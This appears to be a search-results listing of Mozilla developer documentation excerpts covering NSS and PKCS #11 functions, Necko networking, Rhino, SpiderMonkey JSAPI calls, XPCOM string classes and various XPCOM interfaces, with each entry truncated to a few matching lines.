...sm_type ciphermech; pk11slotinfo* slot = null; pk11symkey* symkey = null; secitem* secparam = null; pk11context* enccontext = null; secitem keyitem, ivitem; secstatus rv, rv1, rv2; unsigned char data[1024], buf1[1024], buf2[1024]; int i, result_len, tmp1_outlen, tmp2_outlen; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
...if you choose something else, then data padding is the * application's responsibility */ ciphermech = ckm_des_cbc_pad; slot = pk11_getbestslot(ciphermech, null); /* slot = pk11_getinternalkeyslot(); is a simpler alternative but in * theory, it *may not* return the optimal slot for the operation.
...And 3 more matches
nss tech note2
using the pkcs #11 module logger nss technical note: 2 modes of operation extracting output from log files the logger displays all activity between nss and a specified pkcs #11 module.
...only display the sequence of pkcs #11 calls.
...display the sequence of pkcs #11 calls, and the parameters given to them.
...And 3 more matches
NSS Tools sslstrength
firstly, you can set policy to be either domestic or export.
... this restricts the available ciphers to the same set used by communicator.
... in addition to this, the ciphers command can be used to further restrict the ciphers available.
...And 3 more matches
FC_OpenSession
name fc_opensession - open a session between an application and a token.
... syntax ck_rv fc_opensession( ck_slot_id slotid, ck_flags flags, ck_void_ptr papplication, ck_notify notify, ck_session_handle_ptr phsession ); parameters fc_opensession has the following parameters: slotid [in] the id of the token's slot.
... flags [in] papplication notify [in] pointer to a notification callback function.
...And 3 more matches
NSS Key Functions
description nss_init opens the certificate, key, and security module databases that you specify for use with nss.
...description certificate and key structures are shared objects.
... when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy.
...And 3 more matches
NSS Tools cmsutil
-o create a certificates-only message.
... -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
... if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
...And 3 more matches
NSS Tools sslstrength
firstly, you can set policy to be either domestic or export.
... this restricts the available ciphers to the same set used by communicator.
... in addition to this, the ciphers command can be used to further restrict the ciphers available.
...And 3 more matches
Multithreading in Necko
background threads are used to manage all i/o operations (with the exception of few cases).
...the internal i/o interfaces default to proxying all callbacks to the main thread.
...when a socket can be read, the socket's listener is notified either synchronously (on the same thread) or asynchronously via a nsistreamlistenerproxy impl.
...And 3 more matches
Proxies in Necko
this means that callers can just create an nsichannel, not needing to worry about whether the channel will use a proxy or not the basic interfaces for proxies are: nsiproxyinfo, nsiprotocolproxyservice, and nsiproxiedprotocolhandler nsiproxyinfo is a simple helper which stores information about the type of the proxy, its host and its port.
...otherwise, the proxy info is discarded.
...note that the proxy method is only used when the protocol handler supports http proxies, as indicated by its protocol flags.
...And 3 more matches
Installing Pork
gcc 4.3 should also work fairly well, but there may be 5 or so files that elsa can't parse.
...you can install gcc in the normal way in a special directory.
... to tell mcpp which gcc installation to integrate itself with, place the selected gcc bin dir as the first element of your path: path=/bindir/of/my/gcc:$path if you want to use a gcc that has binaries named something other than "gcc" and "g++", or you use "ccache" for you main gcc installation and want mcpp to override a separate installation, you need to pass the options "cc=gccxxx cxx=g++xxx" to "./configure".
...And 3 more matches
Pork Tool Development
files and locations most tools are in the "oink" directory.
... source locations ast nodes have a location associated with them; sourceloc is defined to be an integer corresponding to an string offset.
... this can be translated to an unboxedloc, which has a line and column offset (see renamer.cc:65).
...And 3 more matches
Pork Tools
it takes a list of functions as input and rewrites the definition and call sites of those functions.
... <caption>rewrites performed</caption> nsresult getter(nsifoo **aresult) { *aresult = ...
... if (!*aresult) return ns_error_failure; return ns_ok; } nsifoo* getter() { nsifoo *result = null; // aresult below is kept for complicated cases // typically it wont be needed and can be removed nsifoo **aresult = &result; // *aresult patterns are replaced with result result = ...
...And 3 more matches
Small Footprint
a few changes can be made to reduce the footprint of rhino for embeddings where space is at a premium.
...with various changes js.jar size can be reduced to 204,689 bytes corresponding to 424,774 bytes of uncompressed classes.
... class generation library if you do not include optimizer or javaadapter, nor do you use policysecuritycontroller then you do not need rhino library for class file generation and you can remove all the classes from in org.mozilla.classfile package.
...And 3 more matches
Rhino history
the rhino project was started at netscape in the autumn of 1997.
... at the time, netscape was planning to produce a version of navigator written entirely in java and so it needed an implementation of javascript written in java.
... when netscape stopped work on "javagator," as it was called, somehow rhino escaped the axe (rumor had it that the executives "forgot" it existed).
...And 3 more matches
Future directions
it can be read as something like an "ideal future state" for the engine.
...whenever practical, new code and changes should move code closer to the ideal future.
...during that experimentation, we must take care to apply parallelism with conceptual clarity and discipline.
...And 3 more matches
JS::Rooted
this article covers features introduced in spidermonkey 17 local variable of type t whose value is always rooted.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... bool operator==(const t &other) const description js::rooted<t> declares a local variable of type t whose value is always rooted.
...And 3 more matches
JSCheckAccessOp
(it is also the type of the callback set by js_setcheckobjectaccesscallback.) syntax typedef jsbool (* jscheckaccessop)(jscontext *cx, jsobject *obj, jsval id, jsaccessmode mode, jsval *vp); name type description cx jscontext * the js context in which the property access attempt is occurring.
...on success, the callback must set *vp to the stored value of the property.
...the nature of principals and the security policy are entirely up to the application.
...And 3 more matches
JSFunctionSpec
syntax struct jsfunctionspec { const char *name; jsnativewrapper call; uint16_t nargs; uint16_t flags; const char *selfhostedname; }; typedef struct jsnativewrapper { jsnative op; const jsjitinfo *info; } jsnativewrapper; name type description name const char * the function's name.
... call jsnativewrapper the built-in js call wrapped by this function.
... if the function does not wrap a native js call, set this value to null.
...And 3 more matches
JSPropertyDescriptor
a descriptor is used to declare whether an attribute can be written to whether it can delete an object that can enumerate and specify content.
... properties a descriptor is an object that can have the following key values field name description getter the get syntax binds an object property to a function that will be called when that property is looked up.
... setter the set syntax binds an object property to a function to be called when there is an attempt to set that property.
...And 3 more matches
JSResolveOp
description jsresolveop callback is a hook which is called when a property is not found on an object.
... the callback must set *resolvedp to true and return true if the property is resolved, or set *resolvedp to false and return true if the object has no lazy property with the given id; or return false to indicate any other error.
... obsolete since jsapi 36 the callback must return true if the property is resolved, or if the object has no lazy property with the given id; or false to indicate any other error.
...And 3 more matches
JSTraceOp
description jstraceop is the function type for trace operation of the class called to enumerate all traceable things reachable from obj's private data structure.
... for each such thing, a trace implementation must call one of the js_call*tracer variants on the thing.
... jstraceop implementation can assume that no other threads mutates object state.
...And 3 more matches
JS_ConvertValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
...typically users of this function set vp to point to v, so that if conversion is successful, v now contains the converted value.
... js_convertvalue calls other, type-specific conversion routines based on the type argument.
...And 3 more matches
JS_GetFunctionObject
fun must be either a function implemented by a jsnative (or jsfastnative) or the result of a call to js_compilefunction or similar functions.
... in other cases, the object returned by js_getfunctionobject is not necessarily safe to call and should not be exposed to script.
...but in the jsapi there are two separate concepts: a jsobject is what is exposed to scripts and has properties and can be stored in variables; and the corresponding jsfunction contains the code of a function.
...And 3 more matches
JS_GetPropertyAttrsGetterAndSetter
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_getucpropertyattrsgetterandsetter) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated.
...flag indicating whether or not the specified property was located.
...And 3 more matches
JS_MaybeGC
calling js_maybegc when the application is idle can help prevent garbage collection from happening at less convenient times.
... calling js_maybegc periodically when the application is busy, from a jsbranchcallback or jsoperationcallback added in spidermonkey 1.8, can keep memory usage down and improve performance.
...in both cases, frequent calls js_maybegc are safe and will not cause the application to spend a lot of time doing redundant garbage collection work.
...And 3 more matches
JS_ValueToString
in a js_threadsafe build, the caller must be in a request on this jscontext.
...(this behavior is implemented by v's jsobjectops.defaultvalue method, so host objects can override it all.) if v.tostring() is a function, it is called.
... otherwise, the resulting object's jsclass.convert callback is called.
...And 3 more matches
PRIVATE_TO_JSVAL
cast raw void * pointers to type jsval and vice versa.
... syntax jsval private_to_jsval(void *ptr); void * jsval_to_private(jsval v); // obsoleted since jsapi 32 description with private_to_jsval(), an application can store a private data pointer, p, as a jsval.
... this can be useful with reserved slots.
...And 3 more matches
Retrieving part of the bookmarks tree
you can also get folder ids from a previous query.
...configure the query to get a hierarchical bookmarks result, pass the folder id to setfolders in your query object: query.setfolders([toolbarfolder], 1); run the query the executequery and executequeries functions will return an nsinavhistoryresult object containing the results of your query: var result = historyservice.executequery(query, options); get the results when you are querying for exactly one folder grouped by folder with no ...
...before accessing the children of any result container, you must first open it, and then you can iterate the children.
...And 3 more matches
XPCOM guide
MozillaTechXPCOMGuide
avoiding leaks in javascript xpcom componentsprogrammers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
... this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components then check out platform/xpcom module first.inheriting from implementation classesgiven that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into multiple inheritance.
... that's not inherently multiple inheritance, though, because you only mix in interfaces (i.e.
...And 3 more matches
Components.isSuccessCode
summary determines whether a given xpcom return code (that is, an nsresult value) indicates the success or failure of an operation, returning true or false respectively.
... description components.issuccesscode() may be used to determine whether an xpcom return code (an nsresult) indicates success or failure.
... an xpcom return code indicates success if its high-order bit is 0, and it indicates failure if its high-order bit is 1.
...And 3 more matches
Components.utils.forceGC
the mozilla javascript engine will perform garbage collection automatically when the javascript heap grows beyond a certain size.
...in many cases a javascript application will have internal knowledge of javascript objects referencing large (trees of) xpcom objects and know when they are no longer reachable.
... in this case it can be important to be able to force a garbage collection cycle from javascript.
...And 3 more matches
Components.utils.importGlobalProperties
using this api you can import these objects into such a system scope.
...the reason this works is because js code modules actually have blob and file.
...knowing that, we can just get a valid blob by importing a known module that has the objects, such as services.jsm const {blob, file, services} = cu.import("resource://gre/modules/services.jsm", {}); reference: stackoverflow :: use blob on firefox add-on hiddendomwindow the hidden domwindow has all of these objects automatically imported.
...And 3 more matches
PyXPCOM
pyxpcom allows for communication between python and xpcom, such that a python application can access xpcom objects, and xpcom can access any python class that implements an xpcom interface.
...with pyxpcom, a developer can talk to xpcom or embed gecko from a python application.
... note: the links to part ii and iii of this series are broken and i cannot find them on the ibm site.
...And 3 more matches
NS_Realloc
« xpcom api reference summary reallocates a block of memory using the xpcom memory manager.
... #include "nsxpcom.h" void* ns_realloc( void* aptr, prsize asize ); parameters aptr [in] a pointer to the block of memory to reallocate.
... this pointer must have been previously allocated by the xpcom memory manager, or this parameter may be null in which case this function behaves like ns_alloc.
...And 3 more matches
NS ConvertASCIItoUTF16 external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger ...
...pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
... operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
NS ConvertUTF8toUTF16 external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger ...
...pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
... operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
PromiseFlatString (External)
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger ...
...pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
... operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
nsAString (External)
757,294,869,342" href="http://developer.mozilla.org/en/nsliteralstring_(external)" shape="rect" title="nsliteralstring_(external)"> </map> method overview beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger data members no public members.
...d insert(prunichar, pruint32) - source parameters prunichar c pruint32 pos void insert(const prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurences of characters in aset from the string.
...ameters nsastring& other prbool operator>(const prunichar*) const - source parameters prunichar* other operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
nsAutoString (External)
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger ...
...pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
... operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
nsDependentString external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger ...
...pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
... operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
nsStringContainer (External)
w beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger ...
...pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
... operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
nsString external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger ...
...pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
... operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match this string to a lowercase ascii string.
...And 3 more matches
IAccessibleComponent
other-licenses/ia2/accessiblecomponent.idlnot scriptable this interface is implemented by any object that can be rendered on the screen.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface provides the standard mechanism for an assistive technology to retrieve information concerning the graphical representation of an object.
...their scale is the same and is equal to that of the screen coordinate system.
...And 3 more matches
amIInstallTrigger
toolkit/mozapps/extensions/amiinstalltrigger.idlscriptable called when an install completes or fails.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean enabled(); boolean install(in nsivariant aargs, [optional] in amiinstallcallback acallback); boolean installchrome(in pruint32 atype, in astring aurl, in astring askin); deprecated since gecko 2.0 boolean startsoftwareupdate(in astring aurl, [optional] in print32 aflags); deprecated since gecko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility.
... constant value description skin 1 locale 2 content 4 package 7 methods enabled() tests if installation is enabled.
...And 3 more matches
mozIStoragePendingStatement
the mozistoragependingstatement interface represents a pending asynchronous database statement, and offers the cancel() method which allows you to cancel the pending statement.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void cancel(); methods cancel() cancels the pending statement.
... fails only if you attempt to cancel the operation more than once.
...And 3 more matches
nsIAccessibleEditableText
exceptions thrown ns_error_failure indicates the text cannot be copied into the clipboard.
... exceptions thrown ns_error_failure indicates the text cannot be deleted or copied into the clipboard.
... exceptions thrown ns_error_failure indicates the text cannot be deleted.
...And 3 more matches
nsIAccessibleHyperText
accessible/public/nsiaccessiblehypertext.idlscriptable this interface is the main interface to expose hyperlinks in a document, typically a text document, that are used to reference other documents.
... a typical implementation is to implement this interface on the small text object such as a paragraph of text.
...this can be retrieved via getlinkindex().
...And 3 more matches
nsIAnnotationObserver
pports last changed in gecko 1.9 (firefox 3) method overview void onitemannotationremoved(in long long aitemid, in autf8string aname); void onitemannotationset(in long long aitemid, in autf8string aname); void onpageannotationremoved(in nsiuri auri, in autf8string aname); void onpageannotationset(in nsiuri apage, in autf8string aname); methods onitemannotationremoved() this method is called when an annotation is deleted for an item.
...this is not called when annotations are expired (normally happens when the application exits).
... onitemannotationset() this method is called when an annotation value is set for an item.
...And 3 more matches
nsIAutoCompleteInput
forcecomplete boolean if true, the text field automatically completes to the default result whenever the user hits the enter key or the text field loses focus.
... popupopen boolean indicates whether or not the popup view is already open.
...onsearchbegin() called when the search starts.
...And 3 more matches
nsIBlocklistService
appversion optional the version of the application we are checking in the blocklist.
... if this parameter is null, the version of the running application is used.
... appversion optional the version of the application we are checking in the blocklist.
...And 3 more matches
nsIContentSniffer
components implementing this interface can determine a mime type from a chunk of bytes.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to implement this interface use net-content-sniffers category.
... see netwerk/build/nsnetcid.h about ns_content_sniffer_category.
...And 3 more matches
nsIContentView
method overview void scrollby(in float dxpx, in float dypx); void scrollto(in float xpx, in float ypx); void setscale(in float xscale, in float yscale); attributes attribute type description contentheight float read only.
... id nscontentviewid id that can be used in conjunction with nsidomwindowutils to change the actual document, instead of just how it is transformed; this is a 64-bit unsigned integer.
... when this view is active (that is it is being painted because it's in the visible region of the screen), this value is at first lined up with the content's scroll offset.
...And 3 more matches
nsICookieManager
mplemented by the @mozilla.org/cookiemanager;1 component, but should generally be accessed via services.cookies method overview void remove(in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aoriginattributes); void removeall(); attributes attribute type description enumerator nsisimpleenumerator called to enumerate through each cookie in the cookie list.
... methods remove() this method is called to remove an individual cookie from the cookie list, specified by host, name, and path.
... if the cookie cannot be found, no exception is thrown.
...And 3 more matches
nsIDOMGeoPositionError
the nsidomgeopositionerror interface represents an error that occurred while performing geolocation operations.
... dom/interfaces/geolocation/nsidomgeopositionerror.idlscriptable please add a summary to this article.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports attributes attribute type description code short numerical error code; see error constants for a complete list.
...And 3 more matches
nsIDOMOrientationEvent
the nsidomorientationevent interface describes the event that can be delivered to dom windows, providing information from the device's accelerometer, allowing code to determine the orientation of the device.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsidomevent method overview void initorientationevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis.
... the values of x, y, and z can range from -1 to 1, where 0 means the device is balanced on that axis.
...And 3 more matches
nsIDOMStorage2
the nsidomstorage2 interface represents the storage space used for local storage in the dom.
... items stored in local storage may only be accessed by the same origin that created the items in the first place.
... a dom window's local storage object can be retrieved from the window's localstorage attribute.
...And 3 more matches
nsIDictionary
objects can be located and managed by referencing them by key.
...getvalue() find the value indicated by the key.
... nsisupports getvalue( in string key ); parameters key the lookup key indicating the value.
...And 3 more matches
nsIDirectoryServiceProvider
xpcom/io/nsidirectoryservice.idlscriptable this interface is used by the directory service to get file locations.
...method overview nsifile getfile(in string prop, out prbool persistent); methods getfile() the directory service calls this method when it gets the first request for a prop or on every request if the prop is not persistent.
...persistent true if the returned file will be cached by directory service.
...And 3 more matches
nsIDownloader
this may utilize the disk cache as an optimization to avoid an extra copy of the data on disk.
... inherits from: nsistreamlistener last changed in gecko 1.7 method overview void init(in nsidownloadobserver observer, in nsifile downloadlocation); methods init() initialize this downloader.
... void init( in nsidownloadobserver observer, in nsifile downloadlocation ); parameters observer the nsidownloadobserver to be notified when the download completes.
...And 3 more matches
nsIEventTarget
events may be sent to this target from any thread by calling the dispatch method.
... note: passing this flag to dispatch may have the side-effect of causing other events on the current thread to be processed while waiting for the given event to be processed.
...this function may be called from any thread, and it may be called re-entrantly.
...And 3 more matches
nsIExternalHelperAppService
uriloader/exthandler/nsiexternalhelperappservice.idlscriptable the external helper app service is used for finding and launching platform specific external applications for a given mime content type.
..., in acstring aencodingtype); nsistreamlistener docontent(in acstring amimecontenttype, in nsirequest arequest, in nsiinterfacerequestor awindowcontext, in boolean aforcesave); methods applydecodingforextension() determines whether or not data whose filename has the specified extension should be decoded from the specified encoding type before being saved or delivered to helper applications.
... return value true if data from urls with the specified extension and encoding should be decoded prior to saving the file or delivering it to a helper application; otherwise false.
...And 3 more matches
nsIFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable provides methods for managing message listeners on local frames.
... this provides a way for local frames to receive messages from remote frames.
... method overview void addmessagelistener(in astring amessage, in nsiframemessagelistener alistener, [optional] in boolean listenwhenclosed); void removemessagelistener(in astring amessage, in nsiframemessagelistener alistener); void sendasyncmessage(in astring amessage, in astring json); methods addmessagelistener() adds a message listener to the local frame.
...And 3 more matches
nsIHttpChannelInternal
method overview void getrequestversion(out unsigned long major, out unsigned long minor); void getresponseversion(out unsigned long major, out unsigned long minor); void httpupgrade(in acstring aprotocolname, in nsihttpupgradelistener alistener); void setcookie(in string acookieheader); void setupfallbackchannel(in string afallbackkey); attributes attribute type description canceled boolean returns true if and only if the channel has been canceled.
... documenturi nsiuri an http channel can own a reference to the document uri.
... localaddress autf8string the local ip address to which the channel is bound, in the same format produced by pr_netaddrtostring().
...And 3 more matches
nsIHttpHeaderVisitor
inherits from: nsisupports last changed in gecko 1.7 method overview void visitheader(in acstring aheader, in acstring avalue); methods visitheader() called by the nsihttpchannel implementation when visiting request and response headers.
... this method can throw an exception to terminate enumeration of the channel's headers.
...this is done by subscribing to the http-on-examine-response and http-on-examine-cached-response observers.
...And 3 more matches
nsIINIParser
xpcom/ds/nsiiniparser.idlscriptable an instance of nsiiniparser can be used to read values from an ini file.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) typically, you'll create an nsiiniparser object by calling nsiiniparserfactory.createiniparser().
... return value an nsiutf8stringenumerator object that can be used to access the section's keys.
...And 3 more matches
nsIJSON
to create an instance, use: var nativejson = components.classes["@mozilla.org/dom/json;1"] .createinstance(components.interfaces.nsijson); method overview note: the idl file has portions of the idl commented out because they represent things that can't actually be properly described by idl; however, for the purposes of this article, we'll pretend they can be and ignore that issue.
... void encodetostream(in nsioutputstream stream, in string charset, in boolean writebom, in jsobject value); jsval legacydecode(in astring str); deprecated since gecko 2.0 jsval legacydecodefromstream(in astring str); deprecated since gecko 2.0 jsval legacydecodetojsval(in astring str, in jscontext cx); native code only!
... deprecated since gecko 2.0 methods decode() obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) decodes a json string, returning the javascript object it represents.
...And 3 more matches
nsILivemarkService
you can also use this check whether something is a livemark or not.
... getfeeduri() this method retrieves the uri of the syndication feed associated with a livemark container.
... ns_error_malformed_uri if the site uri annotation has somehow been corrupted (and can't be turned into an nsiuri) getlivemarkidforfeeduri() determines whether the feed uri is a currently registered livemark.
...And 3 more matches
nsIMarkupDocumentViewer
1 - logical 2 - visual 3 - like the containing document.
...this may be either "logical" or "visual".
... logical text will be reordered for presentation using the unicode bidi algorithm.
...And 3 more matches
nsIMessageWakeupService
by using this service, you can avoid starting those components until they're needed.
...requesting wakeups to request a wakeup, a wakeup condition must be registered with the category manager in the "wakeup-request" category.
... the easiest way to do this is to add the appropriate entry to the chrome manifest that registers your component (see category in "chrome registration").
...And 3 more matches
nsIMicrosummaryService
callable by content via nsisidebar.addmicrosummarygenerator().
...if the caller passes a bookmark id, and one of the microsummaries is the current one for the bookmark, this method will retrieve content from the datastore for that microsummary, which is useful when callers want to display a list of microsummaries for a page that isn't loaded, and they want to display the actual content of the selected microsummary immediately (rather than after the content is asynchronou...
... bookmarkid optional the id of the bookmark for which this method is being called.
...And 3 more matches
nsIMsgFilterCustomAction
this should be localized.
... * @param actionfolder folder in the filter list * @param filtertype filter type (manual, offlinemail, etc.) * * @return errormessage a localized message to display if invalid * set to null if the actionvalue is valid */ autf8string validateactionvalue(in autf8string actionvalue, in nsimsgfolder actionfolder, in nsmsgfiltertypetype filtertype); /* allow duplicate actions in the same filter list?
...*/ attribute boolean allowduplicates; /* * the custom action itself * * generally for the apply method, folder-based methods give correct * results and are preferred if available.
...And 3 more matches
nsIMsgWindow
notificationcallbacks nsiinterfacerequestor these are currently used to set notification callbacks on protocol channels to handle things like bad cert exceptions.
... promptdialog nsiprompt readonly: this is the equivalent of calling getinterface on the rootdocshell object.
... charsetoverride boolean remember the message's charset was overridden, so it can be inherited (e.g for quoting).
...And 3 more matches
nsINavHistoryResultNode
icon autf8string this uri can be used as an image source uri and will give you the favicon for the page.
...in most cases, this is an annotation uri that will query the favicon service.
... propertybag nsiwritablepropertybag you can use this to associate temporary information with the result node.
...And 3 more matches
nsIParserUtils
parser/html/nsiparserutils.idlscriptable provides non-web html parsing functionality to firefox extensions and xulrunner applications.
... sanitizerallowstyle (1 << 1) flag for sanitizer: allow <style> elements and style attributes (with contents sanitized in case of -moz-binding).
... astring converttoplaintext( in astring src, in unsigned long flags, in unsigned long wrapcol ); parameters src the html source to parse (c++ callers are allowed but not required to use the same string for the return value.) flags conversion option flags defined in nsidocumentencoder.
...And 3 more matches
nsIPlacesImportExportService
